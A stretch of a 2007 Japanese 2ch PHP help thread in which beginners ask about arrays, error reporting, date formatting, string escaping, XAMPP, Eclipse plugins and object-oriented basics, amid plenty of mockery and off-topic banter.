みなさん本当にありがとうございました

259 :250:2007/05/30(水) 21:53:17 ID:QPYqKYGN
>>257
ガタガタうるせーなっ!!!
指図するなっ!!!!!
ヘボ回答者のくせに何様だ!?コノヤロウ!!
ID出してやったから回答即よろ

260 :nobodyさん:2007/05/30(水) 21:57:02 ID:???
>>259
ha?
質問している分際で、何言っているの?
2chに何期待しているわけ?自分で調べれば?

261 :nobodyさん:2007/05/30(水) 21:57:50 ID:QPYqKYGN
ここは質問スレなんだけどっ!!!
答えたくないならくんなヘボ回答者!!

262 :260:2007/05/30(水) 21:58:49 ID:???
>>261
釣りにマジスレ
ワロタw

263 :nobodyさん:2007/05/30(水) 21:59:40 ID:???
>>260
>2chに何期待しているわけ?自分で調べれば?

その通り
質問者は自分の置かれている状況をわきまえろ

264 :nobodyさん:2007/05/30(水) 22:01:17 ID:QPYqKYGN
答えられもしないくせにえらそうにwwww
昨日も今日も明日もおまえらだって質問してんだろ?wwwwwww
なにを回答者ぶってんの?wwwwww
ちょうしこいてんじゃねーよ、わらっちゃうねwwwwwwwwwwww

265 :nobodyさん:2007/05/30(水) 22:01:24 ID:???
このスレほど強制ID表示になったら面白そうなものは無いな

266 :nobodyさん:2007/05/30(水) 22:10:53 ID:???
わざとID出して釣る奴もいるからな

267 :nobodyさん:2007/05/30(水) 22:15:00 ID:???
ルータいじればコロコロIPかわるから、
あまり効果はなさそうだけどな。

268 :nobodyさん:2007/05/30(水) 22:22:11 ID:???
DOSコマンドから、
ipconfig /renew
と打てば、DHCPサーバーからのIPアドレスがリフレッシュされて新しいIPアドレスが割り振られるよ。
そうすれば、IDも変わると思うけど。

269 :nobodyさん:2007/05/30(水) 22:33:57 ID:???
arrayってなんだよ
とっとと教えろカス共

270 :nobodyさん:2007/05/30(水) 22:37:08 ID:???
>>269
>>1

271 :nobodyさん:2007/05/30(水) 22:39:19 ID:???
>>269は、私ではありません。
宜しくお願いします。

272 :nobodyさん:2007/05/30(水) 22:40:31 ID:???
>>272は私ではありません。
こちらこそ宜しくお願いします。

273 :nobodyさん:2007/05/30(水) 22:48:58 ID:???
誘導
http://pc11.2ch.net/test/read.cgi/php/1158647441

274 :nobodyさん:2007/05/30(水) 22:57:02 ID:???
arrayもわからないカスはPHPやらなくていいです。

275 :nobodyさん:2007/05/30(水) 23:20:46 ID:???
PHP以前の問題だろww

276 :nobodyさん:2007/05/31(木) 00:02:30 ID:???
PHP以前の問題でもない。
プログラム言語を始めてやる人間にはarrayも始めて。
PHPがはじめてのプログラムだった場合その人間にはarrayも始めて。
ただarrayとか基本型は教科書でいう2.3ページに書いてる事項なので、
ここでそれが何?とか聞くやつはマニュアルも読めない阿呆。

277 :nobodyさん:2007/05/31(木) 00:27:35 ID:???
まあ、arrayだな

278 :nobodyさん:2007/05/31(木) 00:43:15 ID:???
おあとがよろしいようで

279 :nobodyさん:2007/05/31(木) 00:56:51 ID:???
PHPスクリプトの中でerror_reportingやdisplay_errorを
弄れた気がするんだけど、php.iniじゃないと無理かな?

昔できた気がするんだけど、今やり方が分からない。

気のせいだったかも・・・

280 :nobodyさん:2007/05/31(木) 01:01:24 ID:???
鉄array

281 :nobodyさん:2007/05/31(木) 01:02:39 ID:???
>>279
error_reporting(E_ALL);

error_reporting(0);

とか、つうか

ttp://php.mirror.camelnetwork.com/manual/ja/ref.errorfunc.php

282 :nobodyさん:2007/05/31(木) 01:03:04 ID:5QX9Xbht
>>279
つini_set()

283 :nobodyさん:2007/05/31(木) 01:06:57 ID:j+g2vXuB
eclipseでPHPの開発環境作りたいのですが、検索しても古い記事しかなくて
どなたかご指導ねがいます

284 :nobodyさん:2007/05/31(木) 01:09:35 ID:???
PHPのプラグインなんていくつでもあるだろ。
好きなプラグイン見つけてfeaturesとpluginフォルダにぶち込めばおk

285 :nobodyさん:2007/05/31(木) 01:14:16 ID:???
>>282
なんてわかりやすい説明w

>>283ではないが、実際にプラグイン使ってる人いたら何使ってるかと利点も教えて欲しいな

286 :nobodyさん:2007/05/31(木) 01:30:14 ID:???
>>281-282
どうもありがとう。

287 :nobodyさん:2007/05/31(木) 02:43:00 ID:???
>>283
1.【ZendStudio】PHP統合開発環境 Part2【Eclipse】
ttp://pc11.2ch.net/test/read.cgi/php/1154082822/
2.
ttp://cydn.cybozu.co.jp/2007/03/_part_4_eclipse_php_pdt_php_de.html


288 :nobodyさん:2007/05/31(木) 02:48:16 ID:???
>>285
PDT 0.7.0 +Aptana CSS/HTML/JavaScript + Zend デバッガ(糞)
これでおなか一杯。使いこなせん

289 :285:2007/05/31(木) 02:56:57 ID:???
>>288
え、PDTとAptanaってうまく動作する?
Aptana + Eclipse PHPやってみて 俺全部試したけど、Aptanaの機能を殺さずに動くのはこれだけだった希ガス


290 :nobodyさん:2007/05/31(木) 09:28:09 ID:???
windows Eclipse 3.2.2で普通に動いてるけど?

291 :nobodyさん:2007/05/31(木) 11:46:56 ID:CptwN5p9
こんにちは
SQLから
2007-05-31 10:12:28
と引っ張ってきた日時がありまして
05/31 10:21
と表示するには
どういった関数が最適なのでしょうか?

292 :nobodyさん:2007/05/31(木) 11:48:49 ID:???
>>291
日付関数のところくらい見ろよ・・・・

293 :nobodyさん:2007/05/31(木) 11:49:15 ID:???
>>291
substrで「05-31 10:12」だけ切り取って、
strreplaceで「-」を「/」にすればいい。

294 :nobodyさん:2007/05/31(木) 12:00:06 ID:???
>>291
TIMESTAMP型だろうけど、
始めからCHAR型で05/31 10:21というデータを入れればいいのでは?

295 :nobodyさん:2007/05/31(木) 12:03:11 ID:???
>>291
くれぐれも玄人ぶってdate関数みたいな激重の関数を使わないようにな。

296 :nobodyさん:2007/05/31(木) 12:14:37 ID:???
>>290
Aptana自動補完よりPDTの保管が優先的に働かない?
もっかい設定見直してみるわ 情報サンクス!

297 :nobodyさん:2007/05/31(木) 12:14:43 ID:???
SQLの出力を変える

298 :nobodyさん:2007/05/31(木) 12:26:55 ID:???
>>295
おいおい、いつの時代のPC使ってんだお前さんは?

>>296
スレ違いだから他所でやれや

>>297
そういう中途半端なわけのわからんこと言わんと黙っとれや

>>298
なんか言いたかったんだよな?

299 :nobodyさん:2007/05/31(木) 12:29:26 ID:???
>>298
必死だなw

300 :nobodyさん:2007/05/31(木) 12:53:06 ID:B+7WuiH9
300げと 〜〜〜>(≧∀≦)これからも趣味で楽しいプログラム。

301 :nobodyさん:2007/05/31(木) 13:16:23 ID:???
プログラム(笑

302 :nobodyさん:2007/05/31(木) 13:18:58 ID:???
語尾に(ぉとか(笑とかつけるやつって殴りたくなるよね

303 :nobodyさん:2007/05/31(木) 13:25:48 ID:???
>>302
殴っちゃだめだろ
俺の場合は"見たこと"自体を記憶から除外して済ますよ

304 :nobodyさん:2007/05/31(木) 14:17:21 ID:???
お前の人生そればっかりだろ(藁

305 :nobodyさん:2007/05/31(木) 14:26:32 ID:???
絶対こういうレスつくと思ったwwwwwwwww

306 :nobodyさん:2007/05/31(木) 14:28:24 ID:CptwN5p9
>>293
それはちょっと…

>>294
データベースの時点で削ってしまうといざという時に…

>>295
重くないですよね?

>>297
month関数とか別に結果出力してからって事ですよね?
なるべく一文のSQLを実現したいです

307 :虚弱PHP:2007/05/31(木) 14:33:27 ID:???
>>306
>>297の対処法だけど、例えば、MySQLならDATE_FORMAT関数とかあるよね。
select文の取得カラムのところに書くだけだから、一文だと思うけど?

308 :nobodyさん:2007/05/31(木) 14:44:44 ID:???
>>307
select * でやってたんで フィールド一個ずつにすればよかったんですね(汗

309 :nobodyさん:2007/05/31(木) 14:48:06 ID:???
>>306
>>292

310 :nobodyさん:2007/05/31(木) 15:14:31 ID:???
最近こんなパターンが多い。

ID表示で質問する。
ついた回答にID無しで文句言う。
ID表示で真面目に答える。

311 :nobodyさん:2007/05/31(木) 15:16:21 ID:???
PEAR:DBという選択肢はないの?

312 :nobodyさん:2007/05/31(木) 15:49:36 ID:BDY8A6/X
str_replaceで引用符をエスケープするにはどうすれば良いんでしょうか?

$hoge = str_replace("<html lang="ja">", "<html>", $hoge);
でエラーが出たので、
$hoge = str_replace("<html lang=\"ja\">", "<html>", $hoge);
で試してみたのですがダメでして。

313 :nobodyさん:2007/05/31(木) 15:54:39 ID:???
>>312
どうみてもあってる。
どうダメだったのか詳しく

314 :nobodyさん:2007/05/31(木) 16:06:52 ID:???
前の行を閉じ忘れてるに一票

315 :nobodyさん:2007/05/31(木) 16:08:59 ID:???
>>312
エラーメッセージは?

316 :nobodyさん:2007/05/31(木) 16:10:28 ID:BDY8A6/X
>>313
返答ありがとうございます。

いずれも、
Parse error: syntax error, unexpected T_CLASS in /home/hogeuser/www/test.php on line 20
とエラーが返ってきます。

317 :nobodyさん:2007/05/31(木) 16:12:01 ID:BDY8A6/X
レスしている間に書いてくださった方々、ありがとうございます。

>>314
確認しました…が、閉じております。

>>315
遅れましたが、書かせて頂きました。

318 :nobodyさん:2007/05/31(木) 16:19:44 ID:???
まずはシングルクォーテーションて括って単純化してみては。


//$hoge = str_replace("<html lang=\"ja\">", "<html>", $hoge);
とかでコメントアウトしてみれば?
違うところが原因ならそれでもエラー吐くだろうし。

あとはその書式で大丈夫なのか最小単位切り出してチェックしてみればいい。

319 :nobodyさん:2007/05/31(木) 16:19:57 ID:???
シンタックスエラーかよ、、、

320 :nobodyさん:2007/05/31(木) 16:26:02 ID:BDY8A6/X
>>318
有難う御座います!
似たような処理を1つずつコメントアウト前の方の行でミスをしておりましたorz

>>319
あほらしいエラーでしたか?変な質問で申し訳ありませんでした、気をつけますorz

答えてくださった皆さん有難う御座いました。
今度からエラーが出たときは別の行もさかのぼって探してみます、お騒がせしてすみませんでした。

321 :nobodyさん:2007/05/31(木) 16:40:54 ID:PjgXIH6j
XAMPP LiteでPHP4.* MySQL4.1.*のものはあるのでしょうか?
XAMPP Lite 1.4.16を動かしてphpinfoで環境を確認したところ、
MySQLのバージョンは4.1.14のようですが、PHPは5.0.5のようです。
http://cl.pocari.org/2005-10-27-3.html
このようなサイトを見ると、1.4.5以降にはPHPは4.*と5.*が両方入っているようですが、
XAMPP LiteではPHP4は省略されているのでしょうか?

WindowsXP SP1で使用するつもりです。
複数のPCで同一の環境でテストサーバーを立てたいので
持ち運べるXAMPP Liteを調べているのですが、
どなたかご存知でしょうか?
よろしくお願いします。

322 :nobodyさん:2007/05/31(木) 16:52:21 ID:???
早く教えてください

323 :nobodyさん:2007/05/31(木) 17:17:08 ID:???
Liteじゃ無きゃいけない理由はあるの?
複数の環境に同じXAMMPPを入れたほうが解決が早い気がするけど・・

324 :nobodyさん:2007/05/31(木) 17:18:20 ID:???
>>321
それぞれの環境に同じバージョンのapache php mysqlを入れるなり
インストーラを持ち運ぶなりすればいいじゃん

325 :nobodyさん:2007/05/31(木) 17:21:59 ID:???
ネカフェ難民?

326 :nobodyさん:2007/05/31(木) 17:37:13 ID:hXhMR7Vu
pear db はデフォルトではいってない上mdb2に統合

327 :虚弱PHP:2007/05/31(木) 17:53:53 ID:???
>>311
特に困る事はないと思うのでPDOに移行した方がいいんじゃない?
PDOの方がパフォーマンスも上だし。

328 :nobodyさん:2007/05/31(木) 17:59:13 ID:???















もうずっと人大杉

329 :nobodyさん:2007/05/31(木) 18:57:25 ID:B+7WuiH9
VistaってPHP環境おk?

330 :nobodyさん:2007/05/31(木) 19:00:27 ID:???
聞く前に使ってみろ。

331 :nobodyさん:2007/05/31(木) 20:02:05 ID:???
>>329
マイクロソフトが30日間無料の英語版VistaのVPCイメージを無料で配布してるよ
やった後に報告よろ

332 :nobodyさん:2007/05/31(木) 20:07:27 ID:2Z3X/v1G
$xが0〜50の間だと

if($x >= 0 && $x <= 50)

だけど

if( 0 <= $x <= 50)

こんな感じに簡単にできる方法ないかな?

333 :nobodyさん:2007/05/31(木) 20:25:23 ID:???
>>327
4系だとpdo使えなかったりするウチの近所の事情
かといってMDB2は情報が少ないので結局DBをホイホイと使ってしまうのさ

334 :nobodyさん:2007/05/31(木) 20:36:44 ID:???
>>332
下にするような必要性がないのでないです。

335 :nobodyさん:2007/05/31(木) 21:32:22 ID:???
>>334
SQL には、between なんてものがあるぐらいだか必要ないわけじゃないけど、
必要度は低そうだし、文法がややこしくなりそう。

336 :nobodyさん:2007/05/31(木) 21:33:14 ID:???
SQLは特殊だからなぁ
どっちかというと直感系なプログラムだし。

337 :nobodyさん:2007/05/31(木) 22:39:19 ID:???
SQLとCOBOL辺りはそういう文法好きだよね。
文系的な言語設計だと思う。
FORTRAN由来のC・PHP・Java辺りじゃなかなか採用しない。

338 :nobodyさん:2007/05/31(木) 22:43:33 ID:???
>>332
function between($min, $value, $max) {
 if($min > $max) list($min, $max) = array($max, $min);
 return ($min <= $value && $value <= $max)?TRUE: FALSE;
}

if(between(0, $x, 50))

とか?

339 :nobodyさん:2007/05/31(木) 23:04:49 ID:???
>>338
> if($min > $max) list($min, $max) = array($max, $min);

こんな余計な動作はいらんと思う。

あと昔から、return condition ? TRUE : FALSE; って書く奴は、
どっか抜けてるんじゃないかと思ってるんだけど。

なんで素直に return condition; って書かないの?

340 :nobodyさん:2007/06/01(金) 00:00:09 ID:???
あと40、50年で世界の熱帯雨林消滅するらしいよ

341 :nobodyさん:2007/06/01(金) 00:01:00 ID:???
>>340は誤爆

342 :nobodyさん:2007/06/01(金) 00:49:39 ID:4yZmbPpg
ttp://mixclips.org/rss/ のRSSがXML_RSSでうまくパースできないんですが、
何が原因でしょうか?

343 :nobodyさん:2007/06/01(金) 01:17:21 ID:???
そのURL見ると中身無いんだが・・

344 :nobodyさん:2007/06/01(金) 01:31:12 ID:???
Operaで見たら構文エラーが出た。
XML の解析に失敗しました: 構文エラー (行: 25, 文字: 78)
元のファイルに問題があると思ふ。

345 :nobodyさん:2007/06/01(金) 01:31:40 ID:???
そのxml&使っちゃってるYO

346 :nobodyさん:2007/06/01(金) 01:33:16 ID:???
よくある、よくある

347 :nobodyさん:2007/06/01(金) 01:45:58 ID:???
あるあるw

348 :nobodyさん:2007/06/01(金) 01:46:55 ID:4yZmbPpg
スクリプト側で何とか処理できませんか?

349 :nobodyさん:2007/06/01(金) 01:50:35 ID:???
つextends

350 :nobodyさん:2007/06/01(金) 02:50:46 ID:4yZmbPpg
>>349
お手数ですが、サンプルコードをお願いしますm(__)m

351 :nobodyさん:2007/06/01(金) 03:34:58 ID:???
つ市ね

352 :nobodyさん:2007/06/01(金) 05:21:30 ID:Wi7GJ0Xe
Foo::bar();

abstract class Baz
{
public static function bar()
{
// ここで Foo の値を取りたいんですがどうやれば良いんでしょうか
}
}

class Foo extends Baz
{}


353 :nobodyさん:2007/06/01(金) 06:12:26 ID:JTjp1lWk
やってみたけどstaticだとできなかった

354 :nobodyさん:2007/06/01(金) 06:19:30 ID:???
>>352
親クラスが子クラスのメンバを呼び出すべきではないし、
親クラスが子クラスを前提に組まれるべきではないかなぁ。

355 :nobodyさん:2007/06/01(金) 08:04:04 ID:39E81ppx
子クラスでメンバ変数を書き換えれば?

Foo::bar();

abstract class Baz{
  var $Foo;
 public static function bar(){
  // ここで Foo の値を取りたいんですがどうやれば良いんでしょうか
 }
}

class Foo extends Baz{
 var $Foo = 'なんとか';
}

356 :nobodyさん:2007/06/01(金) 11:17:29 ID:adREKSPx
すみません。初心者です。超くだらないとおもうんですが、どこにもWebに載っていないので、
教えてください。

file()関数というものがあります。ためしに変数名に$fileとしてみましても有効に使えました。
また、defineでためしに("file", "test300.php")としてみても有効に使えました。

これらの区別は、関数の場合は()括弧が付いている、変数の場合は$が付いているから
インタープリタは区別できるのですか?

357 :nobodyさん:2007/06/01(金) 11:25:07 ID:???
>>355
Foo::bar();じゃ取れないでしょ

358 :nobodyさん:2007/06/01(金) 11:30:57 ID:???
>>356
いってる説明が全く分からないのでソース出してください。
>関数の場合は()括弧が付いている、変数の場合は$が付いているから
関数と変数を比べてるのがわけがわかりません。
定数と変数ならまだわかるんだけど。

359 :nobodyさん:2007/06/01(金) 11:47:14 ID:???
>>356
PHP初心者がそんなどーでもいいことを気にすることに笑った。
内部的には変数も関数も演算子も、INとOUTのフィルタのかけ方が少し違うだけの全く同じ物(ポインタ)です。

360 :nobodyさん:2007/06/01(金) 11:59:58 ID:39E81ppx
>>355
確かにいったんインスタンスを作らないとダメですね。。すいません。



361 :nobodyさん:2007/06/01(金) 12:03:09 ID:???
>>360
はい?どこにインスタンスの話が出てるんだ?

362 :nobodyさん:2007/06/01(金) 13:52:41 ID:MTWDEGSU
オブジェクト指向が何なのかよくわからないまま
カウンター作ってみました。
http://php.shiriagari.com/counter/counter.php
やっぱり根本的に間違ってますか?

それぞれの機能を部品のようにして
必要なときに呼び出すことだと思って作ってみました。
ただdoCountでまとめただけで
全然意味ないですけど。

363 :nobodyさん:2007/06/01(金) 13:53:42 ID:???
ID出してみたらすごいことになった

364 :nobodyさん:2007/06/01(金) 13:55:12 ID:MTWDEGSU
>>363
間違えた
sageてしまった

365 :nobodyさん:2007/06/01(金) 13:58:32 ID:???
ただ分割してまとめただけじゃねーか・・・

366 :356:2007/06/01(金) 14:00:16 ID:adREKSPx
>>359
どうもありがとうございます。しっかり分かりました。なんというか
自分の性格上、内部構造というかある程度深いところまで気になってしょうがないんです。

ありがとうございました。

367 :nobodyさん:2007/06/01(金) 14:01:53 ID:???
>>362
ファイル操作はファイル操作のクラスとしてもったほうがいい
それをextendsかなんかで呼び出してカウンタークラスを作ったほうがいいよ

368 :nobodyさん:2007/06/01(金) 14:14:02 ID:???
>>362
色々突っ込みたいけど最初はそんなもんだろうなぁ。
関数をクラスに突っ込んだだけのような形。
PHPじゃオブジェクト指向はなかなか理解できないからJavaから学ぶといいよ。
オブジェクトに関してはPHPもJavaに近いものがあるから、
多少書き方が違うけど理解できると思う。

369 :nobodyさん:2007/06/01(金) 14:19:52 ID:???
>>362
flockの使い方まちがっとる。

370 :nobodyさん:2007/06/01(金) 14:28:03 ID:Sl+KWZC8
$pager = & Pager::factory($array);

この & はどのような意味なのでしょうか?

371 :nobodyさん:2007/06/01(金) 14:29:58 ID:???
>>370
参照
マニュアルの演算子の項目でも眺めてくるといいよ。

372 :nobodyさん:2007/06/01(金) 14:37:13 ID:???
>>365
すいませんほんとにそのまんまです。

>>367
修正してみました。
http://php.shiriagari.com/counter/counter0.0.2.php
こんな感じで良いですか?

>>368
> 色々突っ込みたいけど最初はそんなもんだろうなぁ。
できればどんどん突っ込んでください><
> PHPじゃオブジェクト指向はなかなか理解できないからJavaから学ぶといいよ。
> オブジェクトに関してはPHPもJavaに近いものがあるから、
> 多少書き方が違うけど理解できると思う。
Javaスレ覗いてきます。


373 :nobodyさん:2007/06/01(金) 14:39:19 ID:bXYxdOH8
質問です。
os winxp home sp2
an httpd 1.42pでphp5.2.2最新版を
動かそうとしたんですが上手くいきません・・・
設定ファイルは見直しているんですが・・・
ひょっとして鯖ソフト側がphpのヴァージョンに
対応してないのでしょうか?それが原因で
動かない可能性はありますか?

374 :nobodyさん:2007/06/01(金) 14:41:47 ID:???
どうして初心者向けの自鯖の入門書は、Windows環境にAn httpd を薦めるんだ
未だに意味がわからん

375 :nobodyさん:2007/06/01(金) 14:43:36 ID:???
GUIで設定できるからじゃね?

376 :nobodyさん:2007/06/01(金) 14:45:16 ID:???
Apacheにしてください。
An httpdなんてレアなもの使ってデバッグしてる人なんて、
このスレで見つかるのか?

377 :nobodyさん:2007/06/01(金) 14:45:45 ID:???
>>374
んじゃ何がいいの?

378 :nobodyさん:2007/06/01(金) 14:46:34 ID:???
>>377
Apache以外に選択肢があるわけが・・・

379 :nobodyさん:2007/06/01(金) 14:52:37 ID:bXYxdOH8
分かりました・・・・
素直にsolaris入れてきます・・・
ありがとうございました。

380 :nobodyさん:2007/06/01(金) 14:53:24 ID:???
なぜ・・・ww

381 :nobodyさん:2007/06/01(金) 14:56:04 ID:???
ApacheがUnixでしか使えないとでも思ってるゆとり世代なんだろうか。
Apacheのページみればマルチプラットフォームなのが一目で分かるだろうに。

382 :nobodyさん:2007/06/01(金) 15:10:53 ID:bXYxdOH8
すいません・・・ちょっとしゃれを言ってみただけです。
今手元には「自宅サーバーfor Window」と「Solaris入門」
という書籍がありまして。そして右手にはunixマシンと
winマシンがありまして・・・正直横着してましたw

383 :nobodyさん:2007/06/01(金) 15:14:31 ID:???
>>381
残念だったな お前が思っている以上にゆとりだったみたいだぞw

384 :nobodyさん:2007/06/01(金) 15:19:07 ID:???
自宅鯖本持ってて、セキュリティ考慮しようとSolarisの入門書まで持ってるのに、
an httpdなんて冗談きついぜ。
どうしても使いたいというならアドバイスはできないが頑張れい。
unixマシンあるならApache+PHPは簡単に環境構築できるでしょ。
そっちのほうがいいと思うけどね。

385 :nobodyさん:2007/06/01(金) 15:21:06 ID:???
入門書あるのにきっと読んでないんだぜ。宝の持ち腐れってやつだなwwww

386 :nobodyさん:2007/06/01(金) 15:27:35 ID:???
Linuxのディストリビューションとかとりあえずインストールしておいて、何も使わない奴いるよね
ブートローダの意味勘違いしたままwinとのデュアルブート設定して
「Windowsが起動しなくなりました」とか質問しているアホゥな奴をたまに見かけるが
>>382もその手の人間だろ

387 :nobodyさん:2007/06/01(金) 15:39:41 ID:???
>ブートローダの意味勘違いしたままwinとのデュアルブート設定して
>「Windowsが起動しなくなりました」
やべw昔の俺だw

388 :nobodyさん:2007/06/01(金) 15:57:59 ID:???
質問です。
amazonで「画像を拡大」をクリックすると小さい画像が出現します。
大きい画像を出したいのですがどうやったらでますか?

389 :nobodyさん:2007/06/01(金) 15:59:05 ID:???
コーヒーフイタ

390 :nobodyさん:2007/06/01(金) 16:09:30 ID:bXYxdOH8
すいませんですた・・・・
アパにしたらさっくり動きましたw
お騒がせしました。

391 :nobodyさん:2007/06/01(金) 16:10:42 ID:???
>>388 つ【拡大鏡】

392 :nobodyさん:2007/06/01(金) 16:14:19 ID:???
>>381
アパッチが他のより優れてる点を教えてください。

393 :nobodyさん:2007/06/01(金) 16:26:46 ID:???
>>392
色々優位点はあるけど、主な点は↓な感じです。

夜間の作戦や悪天候時にディスプレイに視界を表示するシステムやそれが統合されたヘルメット
目標捕捉・指示照準装置
パイロット用の夜間装備
レーダー・ジャマー(電波妨害器)
赤外線迎撃兵器
地表面誘導装置
GPSなどの最先端の航空電子機器
メインローターに23mm砲弾が直撃しても一定時間の飛行が可能
ミリ波レーダーを装備

394 :nobodyさん:2007/06/01(金) 16:28:57 ID:???
>>393
寒い・・・

395 :nobodyさん:2007/06/01(金) 16:30:38 ID:???
>>394
俺の胸で、君を暖めてあげるよ♪

396 :nobodyさん:2007/06/01(金) 16:31:14 ID:???
>>392
Apacheの紹介の何がすばらしいのかっていう項目でも読んできなさい

397 :nobodyさん:2007/06/01(金) 16:42:26 ID:???
>>396
Apacheだけのすばらしい項目をみてもSolarisに比べてどうなのか教えてください

398 :nobodyさん:2007/06/01(金) 16:54:30 ID:???
あの〜、>>397 は私ではないのですが...
公式ページをよく読んでみます。

399 :虚弱PHP:2007/06/01(金) 16:54:59 ID:???
>>372
ファイルクラスのコンストラクタにファイルパスを渡すように変更。
ロックは自動でやるようにしたりして、
インターフェースをもっと単純になるように整理してください。

次、
ファイルクラスはファイルパス毎、ひとつのインスタンスになるように、
エセSingletonパターンにしたり、
カウンタークラスでは、ファイルクラスを継承ではなく委譲を使う。

次、
ファクトリーパターンとか使って、
ファイルだけじゃなく、DBでも大丈夫なようにしたり。

それから、Javaスレ覗くんじゃなくて、Javaの勉強をした方が良い。
結城浩氏の本はとてもいいと思う。

400 :nobodyさん:2007/06/01(金) 16:55:41 ID:???
>>397
知らないのに無理に煽ろうとしなくて良いよ

401 :nobodyさん:2007/06/01(金) 17:12:11 ID:???
ApacheとSolaris比べてる時点でどうかと思うね。
Solarisっていつからhttpdになったんですか?
もしくはApacheはいつからOSになったんですか?

402 :nobodyさん:2007/06/01(金) 17:13:36 ID:???
>虚弱PHP
20個も前のやつにレスすんなうっとーしい
それと同じこと何度も言うなカス

403 :nobodyさん:2007/06/01(金) 17:25:55 ID:???
>>401
おまwそんなことも知らないのかwwww









俺も知らない

404 :nobodyさん:2007/06/01(金) 17:38:16 ID:???
>>401
ApacheがOSって・・・
君は1から勉強してきてね

405 :nobodyさん:2007/06/01(金) 17:42:15 ID:O/c0FzVA
>>404
日本語の読解力が足りないよ

406 :nobodyさん:2007/06/01(金) 17:50:31 ID:???
>>404
君は日本語の勉強を(ry

407 :nobodyさん:2007/06/01(金) 17:52:08 ID:???
>>401が何やら必死に煽ってきてますねww

408 :nobodyさん:2007/06/01(金) 17:53:13 ID:kUpJMD1n
>>404=>>407
かっこ悪いからそのへんにしたほうがいいよ

409 :nobodyさん:2007/06/01(金) 17:57:46 ID:???
>>397,404,407
バカすぎるなお前等w

410 :nobodyさん:2007/06/01(金) 18:04:30 ID:???
>>407
悔しいからって必死になるなよw

411 :nobodyさん:2007/06/01(金) 18:07:06 ID:???
これは腹が痛いwwwwwwwwww
この電波なことを延々といってるのは>>382でおk?w

412 :nobodyさん:2007/06/01(金) 18:08:14 ID:???
>>411
お ま え だ よ

413 :nobodyさん:2007/06/01(金) 18:18:17 ID:???
わかりやすいなぁ・・・

飽きたしそろそろ話の流れ戻そうか。

414 :nobodyさん:2007/06/01(金) 18:32:45 ID:???
mysql_fetch_assocの戻り値をprintf_r関数で表示すると
[TEST] => 1
みたいな形式で表示されるのですが
このTESTという名前を取得する方法を教えてください

415 :nobodyさん:2007/06/01(金) 18:34:42 ID:???
>>414
マニュアルのmysql_fetch_assocの項目にまんまかいてるじゃないか。

416 :nobodyさん:2007/06/01(金) 18:34:47 ID:???
>>414
key

417 :nobodyさん:2007/06/01(金) 18:34:54 ID:???
phpでオブジェクトを使った書き方を勉強中なのですが、以下の点が理解できません。
・var $変数値 = "hoge";
 変数値の前にvarをつける意味がよく分かりません。
 初期化と説明してるサイトもありますが、普通に「$変数値 = "hoge";」だけでは初期化したことにはならないのでしょうか。

・class内にfunctionを定義する優位性が分かりません
 class外に書くのと内に書くのとでどういう優位性があるのでしょうか。
 例えばコール時に class AAA{ function BBB{} } とあって、
 $TEST = new AAA;
 $TEST -> BBB("なんとかかんとか");
 と書くより、
 $TEST BBB(); とclass外にあるユーザ関数を呼び出す方が行数が少なくならないでしょうか。

素人思考な質問でしょうが、よろしくお願いします。
当方php以外の言語はせいぜいperl位ですので、お手柔らかにお願いします。(一応これでもググって着ての質問です;)

418 :nobodyさん:2007/06/01(金) 18:37:36 ID:???
>>417
マニュアル読みましょう
そしてIDを出しましょう

419 :nobodyさん:2007/06/01(金) 18:40:52 ID:???
>>415
わかんなかったんです><
>>416
$res[key] ですか?

420 :417 ◆LUdEVzdrco :2007/06/01(金) 18:43:43 ID:???
ageていいのか分からないのでIDの代わりに酉つけてみます。
>>418
一応マニュアルは読んでみました。
ttp://jp.php.net/manual/ja/language.oop.php を見たのですがイマイチ理解できませんでした…。

421 :nobodyさん:2007/06/01(金) 18:45:48 ID:???
>>419
http://jp.php.net/manual/ja/function.mysql-fetch-assoc.php
例の最後のほうのwhileで囲まれた部分がヒント。

>>420
>>1も読めないならお帰り下さい。

422 :nobodyさん:2007/06/01(金) 18:49:49 ID:???
>>421
すみません、おもいっきり質問が間違ってました。
欲しいのはフィールド名です・・・
フィールド名を列挙する関数はありますか?><

423 :nobodyさん:2007/06/01(金) 18:50:40 ID:???
更にすみません><
mysql_field_name ですね・・・
お騒がせしました><

424 :nobodyさん:2007/06/01(金) 18:59:59 ID:???
どうでもいいけど、フィールド名というのは止めようね。
カラム名といってくれ。

425 :nobodyさん:2007/06/01(金) 19:00:11 ID:???
>>417
スレのルールを守ってないとはいえ暇だから答えてみる。

>変数値の前にvarをつける意味がよく分かりません。
これはアクセス制限用の修飾子です。意味はあるんです。
varはpublicと同義です。
php5からはJava同様詳細なアクセス制限がつけられるようになりました。
(private, protected, public)
他にもfinalだのstaticだのいろいろ修飾子はあるんですが、
どういう意味かとか使い方はマニュアル見るよろし。

>class内にfunctionを定義する優位性が分かりません
ただのfunctionは関数(ユーザ定義関数)といいますね。
class内にあるfunctionはオブジェクト関数またはメソッドといいます。
要は中身は一緒でも概念が別物なんですよ。
どう違うとかはマニュアルにちゃんとかいてるはずなので見るよろし。

というわけで、ちゃんと意味はあるんですよ。
ただOOPが理解できてないうちはそんなこと考えててもだめ。
勉強してるうち、書いてるうちにだんだんどういうものかわかってくるんですよ。

426 :nobodyさん:2007/06/01(金) 19:02:05 ID:???
>>424に1票

427 :nobodyさん:2007/06/01(金) 19:09:36 ID:???
フィールドでもカラムでも通じるから別にそのへんはどっちでもいいよ。

428 :nobodyさん:2007/06/01(金) 19:22:50 ID:???
>>424
なんで?

429 :nobodyさん:2007/06/01(金) 19:24:45 ID:???
>>428
今時のゆとり教育ではフィールド名とは言わずにカラム名と言うから

430 :nobodyさん:2007/06/01(金) 19:28:13 ID:???
DBの話するときにカラムのほうが一般的だから

>>417
行数が減らせるからとかいう話じゃない
本当に検索してんの?いくらでもオブジェクト指向の解説ページあるじゃん
本当にマニュアル読んでんの?開いたけど理解する気ないんでしょ
本当に>>1読んでんの?上げていいか分からないのでトリップ付けますとか氏ねよ

431 :nobodyさん:2007/06/01(金) 19:29:04 ID:???
マジレスすると、DBのような二次元で表わす行と列のモデルに対応する英語は、
column(C)とrow(R)。
フィールド(field)は、俗的に使われているだけ。

432 :nobodyさん:2007/06/01(金) 19:29:38 ID:???
>>430
今時の子供乙

433 :nobodyさん:2007/06/01(金) 19:31:48 ID:???
英語圏だとcolumnとrowは、数学の行列だろうが、一般的な表だろうが、どこにでも使うから、DBではfieldとrecordが好んで使われることも少なくない

434 :417:2007/06/01(金) 19:44:09 ID:lY2OXFpS
とりあえず、>>1読んできました…。 後はLANケーブルで吊れば任務完了です。

>>425
なんとなくvarについては理解できました。
